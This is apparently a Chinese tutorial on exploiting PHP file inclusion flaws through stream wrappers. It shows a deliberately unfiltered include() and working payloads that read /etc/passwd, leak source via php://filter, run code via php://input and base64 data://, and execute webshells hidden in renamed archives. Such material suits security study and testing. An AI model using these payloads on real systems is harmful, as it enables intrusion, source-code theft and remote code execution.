一、文件包含漏洞可用 PHP 伪协议 汇总表

伪协议语法格式核心功能(文件包含场景)依赖 / 条件
file://file://绝对路径 file://相对路径读取本地文件(最基础、最常用)无依赖,默认开启
php://filterphp://filter/read=convert.base64-encode/resource=文件名读取文件源码(绕过 PHP 执行,直接看代码)无依赖,默认开启
php://inputphp://inputPOST 数据当作 PHP 代码执行(RCE 核心)allow_url_include=On
data://data://text/plain;base64,编码内容直接执行 PHP 代码(无文件上传也能 RCE)allow_url_include=On
phar://phar://压缩包路径/内部文件读取压缩包内文件 / 代码执行(配合上传)PHP >=5.3.0
zip://zip://压缩包路径#内部文件读取 zip 压缩包内文件无特殊依赖
expect://expect://系统命令直接执行系统命令(高危,极少开启)需安装扩展

二、伪协议详解

环境前提:

存在文件包含漏洞页面:http://www.example.com/index.php?page=xxx

漏洞代码:

<?php

$page = $_GET['page'];
include($page);  // 无过滤,直接包含

?>

1. file://

功能:读取本地服务器任意文件,是 LFI 最基础用法。

?page=file://C:/Windows/System32/drivers/etc/hosts      # Windows
?page=file:///etc/passwd                                # Linux
?page=file://./config.php                               # 相对路径

file:// 是本地文件访问伪协议,直接写路径读取文件内容。

优点:默认必开,无需任何配置

用途:读取配置文件、日志文件、密码文件等


2. php://filter

功能:读取 PHP 文件源码(只读不执行),绕过 PHP 解析,直接看到源代码。

?page=php://filter/read=convert.base64-encode/resource=index.php

注意:必须加 convert.base64-encode:把源代码使用Base64 编码然后输出,否则会被服务器直接执行,看不到源码

流程:读取文件 → Base64 编码 → 输出到页面 → 自行解码得到源码

文件包含漏洞中最常用、最实用,用于泄露网站源码


3. php://input

功能:把 POST 请求体内容当作 PHP 代码执行,实现命令执行 / 拿 Shell。

?page=php://input

POST 数据(请求体里写):

使用Hackbar/BurpSuite修改POST的内容

<?
php phpinfo();  
?>

php://input = 读取原始 POST 数据

include 会把 POST 数据当作 PHP 文件执行

条件:allow_url_include = On

用途:无文件上传情况下,通过POST内容直接操作服务器


4. data://

功能:直接在 URL 里写入 PHP 代码并执行,GET 型 RCE。

明文(部分环境会被拦截):

?page=data://text/plain,<?php phpinfo();?>

Base64 编码(绕过过滤):

?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

data:// 把协议后面的内容当作文件内容,编码后更稳定,可绕过关键词过滤。

条件:allow_url_include = On


5. phar://

功能:读取 zip/rar/phar 压缩包内部文件,常用于上传图片马后改后缀,再用 phar 包含执行。

?page=phar://./upload/shell.zip/shell.php

格式:phar://压缩包路径/压缩包文件/内部文件

上传一个压缩包(shell.zip),里面放一句话木马(shell.php),即使压缩包被改名为 shell.jpg,依然可以读取执行shell.php


6. zip://

功能:专门读取 .zip 压缩包内文件,用法和 phar 类似,但语法不同。

?page=zip://./upload/shell.zip%23shell.php

(# 要 URL 编码成 %23)

仅支持 zip 格式,路径分隔符必须用 #,URL编码为 %23


7. expect://

功能:直接执行系统命令,无需 PHP 代码。

?page=expect://id

必须安装 expect 扩展,现实环境几乎不存在,仅作了解。


三、关键配置

文件包含能否使用伪协议,取决于两个 PHP 配置:

allow_url_fopen = On

大部分伪协议依赖(默认开启)

allow_url_include = On

想要执行代码的伪协议(如:php://input、data://),必须开启这个配置


四、用法归纳

读文件用 file://

读源码用 php://filter

POST 执行用 php://input

GET 执行用 data://

压缩包用 phar://、zip://

文件包含漏洞中最核心的伪协议是:file://、php://filter、php://input、data://

读文件用 file / filter,执行代码用 input / data

所有伪协议的本质:让 include () 函数读取 / 执行你指定的内容

复现漏洞时优先用 php://filter 读源码,成功率最高